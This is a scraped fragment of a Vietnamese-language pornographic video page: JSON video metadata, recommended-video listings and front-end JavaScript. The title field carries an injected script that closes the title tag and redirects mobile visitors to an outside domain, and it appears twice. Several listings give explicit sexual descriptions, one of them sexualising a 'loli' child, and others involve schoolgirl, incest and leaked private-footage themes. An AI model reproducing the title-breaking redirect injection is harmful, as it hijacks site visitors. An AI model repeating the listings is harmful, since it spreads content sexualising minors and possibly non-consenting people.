</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Nhiếp ảnh cá nhân trong đồng phục: Cô gái lỗ nhỏ thiên thần, Mizuki Igarashi, Netsuku
Nhiếp ảnh cá nhân trong đồng phục: Cô gái lỗ nhỏ thiên thần, Mizuki Igarashi, Netsuku","site_id":0,"video_url":"https://2605.v155p.com/20260701/w4Wco2Kz/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvYTA2YTQ1YTkyYmZjMjljZjE1ZWEzNDhiMmFiZDk5NTMuanBn.cache","duration":"01:39:08","actor":[],"lastmod":1783766805,"rating":"4.0","view_count":753,"description":"Chụp ảnh cá nhân đồng phục, Cô gái gợi cảm Angel, Igarashi Mizuki, Net.","tag":["đồng phục","riêng tư","Nhiếp ảnh cá nhân","nhiếp ảnh","Thiên thần","lỗ nhỏ","Con gái","Năm mươi","Igarashi"],"site_url":"178891","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["女优明星"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvYTA2YTQ1YTkyYmZjMjljZjE1ZWEzNDhiMmFiZDk5NTMuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"制服个人摄影 天使的小穴妹子 五十岚美月 ネクスト","s_keywords":"制服个人摄影 天使的小穴妹子 五十岚美月 ネクスト","s_description":"Nhiếp ảnh cá nhân trong đồng phục: Cô gái lỗ nhỏ thiên thần, Mizuki Igarashi, Netsuku","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDhjMzRiMWM1Yjk1ODZmZGIwYjFiZmEyMTA5NjdkOGEuanBn.cache","vod_id":19020894,"title":"Lingmei sẽ cố gắng hết sức để bạn cảm thấy thoải mái.","lastmod":"2025-03-24","duration":"36:55","url":"/play/19020894.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2NkY2VjNmI0NTY1N2NjZjhmNDIwMDMzNzMwOTQ2MGQuanBn.cache","vod_id":19001143,"title":"Một cô gái tóc ngắn, xinh đẹp, dễ thương sử dụng đạo cụ để thủ dâm, thay đồ lót gợi cảm, tất trắng, một quả trứng rung và một dương vật giả để thâm nhập. Cận cảnh đôi chân dang rộng của cô ấy cho thấy tinh dịch trắng rất quyến rũ.","lastmod":"2025-03-23","duration":"02:01:51","url":"/play/19001143.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjU2MDk2NDQ3NDI4MWFmODkyMGQ3MjU0MjA4ZDYzMTkuanBn.cache","vod_id":18926563,"title":"Một cô bé loli dễ thương với hai bím tóc đang tự thỏa mãn trong tình trạng hoàn toàn khỏa thân. Cận cảnh đôi gò bưởi hồng hào lộ ra và những ngón tay cô bé đang khám phá vùng kín, để lộ sự ẩm ướt, vô cùng quyến rũ và cám dỗ. Đừng bỏ lỡ nếu bạn thích thể loại nội dung này.","lastmod":"2025-12-14","duration":"01:29:32","url":"/play/18926563.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTQvNzM5ZjU5OGMwMDM3ZjRmMTFjN2QxOTM0ZGRmZDRmMTAuanBn.cache","vod_id":19029093,"title":"Một cô gái xinh xắn đã đưa chiếc máy rung mới mua vào âm đạo nhạy cảm của mình trong phòng tắm và không thể kìm được mà lên đỉnh và rên rỉ.","lastmod":"2025-04-13","duration":"12:19","url":"/play/19029093.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjE2L2NKQlRUWnhJLzEuanBn.cache","vod_id":19144094,"title":"Cô gái châu Á dễ thương thích ăn những thanh sô cô la của người đàn ông da đen.","lastmod":"2026-02-18","duration":"02:03","url":"/play/19144094.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTE5MGMwNzdhNTcyYjVjM2E4MWM4ZjAwMjk3MDlmMjYuanBn.cache","vod_id":18972534,"title":"FANH-156 Luka-chan, một cô gái lẳng lơ 20 tuổi sinh ra ở Okinawa. Một nữ sinh viên đại học da nâu tự nhiên, thân hình đầy đặn, đang quan hệ tình dục bằng cách cọ xát niêm mạc. Một nữ sinh năm hai da ngăm đen mặc đồng phục có tinh dịch trắng sữa bên trong âm đạo. Quan hệ tay ba với xuất tinh bên trong.","lastmod":"2025-03-23","duration":"01:55:07","url":"/play/18972534.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjYvMWFiNDNkNDBkN2ViMzRiYTQ5MjdkNzVhMGI2NjhiYmYuanBn.cache","vod_id":19048473,"title":"OAE267 Thiên thần trần truồng","lastmod":"2025-08-26","duration":"01:43:49","url":"/play/19048473.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWZkOTBjYTE4ZWQ4MThkYWI2MGFlMWNlMDAzNzdiYjIuanBn.cache","vod_id":18961783,"title":"Một phụ nữ trẻ đã kết hôn, bị bỏ lại ở vùng nông thôn, kiếm thêm chút tiền bằng cách phát trực tiếp phim khiêu dâm tại nhà. Cô ấy tự thỏa mãn tình dục trong trạng thái khỏa thân, và có những cảnh quay cận cảnh bộ ngực lớn và núm vú hình bướm màu hồng của cô ấy.","lastmod":"2025-12-14","duration":"00:33:32","url":"/play/18961783.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmUwNzk3NjU5YTQ1MDhjYTk1NDU4ODdjZWFmNTllOGMuanBn.cache","vod_id":18960608,"title":"LZDM-054 Để chuẩn bị cho lễ hội văn hóa của trường, chúng tôi đã ngủ lại trường! Từ đêm đến rạng sáng, chỉ có hai chúng tôi, để lại những dấu ấn ngọt ngào của tình yêu đồng giới bằng một nụ hôn ở trường.","lastmod":"2025-12-14","duration":"02:14:16","url":"/play/18960608.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmU5MDBjODI3NzYxNWUyNDZlM2JlZGJmN2UwNTlmOTguanBn.cache","vod_id":19143502,"title":"Sau giờ học, họ ân ái suốt đêm. Một cô gái xinh đẹp trong bộ đồng phục học sinh muốn thỏa mãn đủ loại ham muốn nghịch ngợm. Kitaoka Karin SQTE-630","lastmod":"2026-02-15","duration":"01:55:13","url":"/play/19143502.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTUvYTU4NTlmYjZhYjFhYmUzYTMyZTJiNzllZGFjNWYwODQuanBn.cache","vod_id":19047017,"title":"[Không che] Buổi chụp ảnh khêu gợi của một thần tượng ảnh gợi cảm khiến thân hình tuyệt mỹ của cô run rẩy không kiểm soát - Aya Hisaki 10musume_111022_01","lastmod":"2025-08-14","duration":"01:03:33","url":"/play/19047017.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjE0ZjYzYzM3NWZmOGYxZjIwZWQ4Zjg1NmY2YTk3OTcuanBn.cache","vod_id":18949194,"title":"Người đẹp mắt to: Ahhh~ Anh ơi, đến mà địt cái âm đạo dâm đãng nhỏ bé của em đi anh ơi, đến đây nào, để em cho anh xem âm đạo của em, em sắp lên đỉnh rồi, em đang tè đứng, và máu kinh nguyệt của em đang chảy ra, tuyệt vời!","lastmod":"2025-03-22","duration":"01:18:08","url":"/play/18949194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNzA0Njc3NTM2MzhhODAwMmMwMGE0YTNlMTBiYjIzYTMuanBn.cache","vod_id":19160962,"title":"nữ sinh mặc đồng phục","lastmod":"2026-05-31","duration":"03:21","url":"/play/19160962.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjhjNzE1ZTc4NjljNDNkMTIwMmQ4MTUyODI2ZjVjMDYuanBn.cache","vod_id":19019083,"title":"(COS☆PAKO) Lần thứ bảy giải trừ hiện tượng xuất tinh! Tôi đã khiến một cô gái ngực cỡ G xuất tinh, không giống như kiểu cao bồi. [Quay phim cá nhân]_Isp1","lastmod":"2025-03-24","duration":"04:09","url":"/play/19019083.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjczODMzZmI5ODZjYmU0NmYyMWRkYmE1YzA4NmY4NzAuanBn.cache","vod_id":18969360,"title":"MAAN-843 [Cảnh ngoài trời: Cô gái nóng bỏng ngực khủng] Âm vật của cô ấy tỏa sáng khi đi dạo trong công viên!? Cô gái ngực khủng xuất hiện không mặc áo ngực! Thực hiện quan hệ tình dục bằng miệng và xuất tinh nhanh chóng trong xe!","lastmod":"2025-03-23","duration":"02:03:40","url":"/play/18969360.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjJjOGNjNjI1ODk3ZmYxMGNhZDY0N2EzMjY1MjI1YjMuanBn.cache","vod_id":18937477,"title":"MDTM-510_B Cô con gái mặc đồng phục của tôi, một cô gái ngây thơ, mang thai vì tiền tiêu vặt (4 giờ, Phần 2)","lastmod":"2025-12-14","duration":"01:53:14","url":"/play/18937477.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDMxOTRkYTMyNWIxZWQyMmIxZDA4OTQ3ZmExODk4N2EuanBn.cache","vod_id":18958706,"title":"413INSTC-277 [Cảnh quay riêng tư bị rò rỉ] Video POV thời trẻ của thần tượng Saka-kei mặc đồng phục gối vô tình để lộ dương vật và xuất tinh bên trong OK Paradise [Lộ mặt, Giải trí] (Shizuna giấu mặt)","lastmod":"2025-03-22","duration":"00:56:38","url":"/play/18958706.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmJmZWQ5OWU3ZmM4NjBlNTJkNzc4Y2I1ZGE4ZWJkZmYuanBn.cache","vod_id":18970055,"title":"[Phiên bản chưa cắt] SDDE-393 \"Đồng phục, đồ lót và khỏa thân\" Khách sạn Kiểu cưỡi ngựa Cat Airlines 4 Chuyến bay dịch vụ 3P ngược chiều","lastmod":"2025-12-14","duration":"03:01:16","url":"/play/18970055.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTFkNjMyMjQzNzIwNDg2YWE4MTY2MWY5NGE1ODE2ZTcuanBn.cache","vod_id":18935484,"title":"FC2PPV-1105691 [Hoàn toàn nghiệp dư 42] Hina 24 tuổi, Phần 2, Lộ diện khuôn mặt!! Đồng phục","lastmod":"2025-12-14","duration":"01:14:28","url":"/play/18935484.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzdjNTQ0MTA2ZDRiMzA4ZGMwYTA4NTYwMmI1OGY4MTIuanBn.cache","vod_id":18951293,"title":"LMPI-018 [Nữ sinh] Bộ sưu tập gợi cảm của các nữ sinh trong đồng phục! Cực kỳ khiêu dâm nhưng vẫn hợp lý","lastmod":"2025-03-22","duration":"01:44:24","url":"/play/18951293.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODIzODIyZDk4ODJhYjg1ZjgzNWFkNjVjZGZmMWFmYTMuanBn.cache","vod_id":18926900,"title":"AMBI-109 Haruka Takami, một cô gái xinh đẹp trong bộ đồng phục học sinh, bị suy sụp tinh thần sau khi quan hệ tình dục với một lão già độc ác. Phần 3","lastmod":"2025-12-14","duration":"00:19:59","url":"/play/18926900.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTc3YTRlMTVlODZlZGIzMDljMDQ3MzljZDI5YzM2MGQuanBn.cache","vod_id":18938074,"title":"[Phụ đề tiếng Trung] NACR-285 Mayumi Shinobu, một người mẹ ngoài 50 tuổi quyến rũ chính con trai mình","lastmod":"2025-12-14","duration":"01:42:25","url":"/play/18938074.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTZhOWNiMjA4MDVmZWY2MmU5YjQxYWNiODU2MmI2OTQuanBn.cache","vod_id":19020995,"title":"Thời khắc xuất tinh đã đến! Cuộc cách mạng ~Trận chiến giữa thiên thần và ác quỷ để giành giật tinh dịch~ Các thiên thần giáng trần lúc hoàng hôn! Ngực của Sera, xin hãy sử dụng chúng theo ý muốn của các người.","lastmod":"2025-03-24","duration":"17:28","url":"/play/19020995.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjhlMTZkNzU4YjE5YmYzMTY1NzY1ZDM2MzJhODFmODguanBn.cache","vod_id":19023352,"title":"Thông tin độc quyền bị rò rỉ: Nhiếp ảnh gia Thượng Hải bị cáo buộc quấy rối tình dục người mẫu - thật là tuyệt vời! Người mẫu này rất giỏi chuyện quan hệ bằng miệng.","lastmod":"2025-03-24","duration":"21:52","url":"/play/19023352.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Nhiếp ảnh cá nhân trong đồng phục: Cô gái lỗ nhỏ thiên thần, Mizuki Igarashi, Netsuku',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}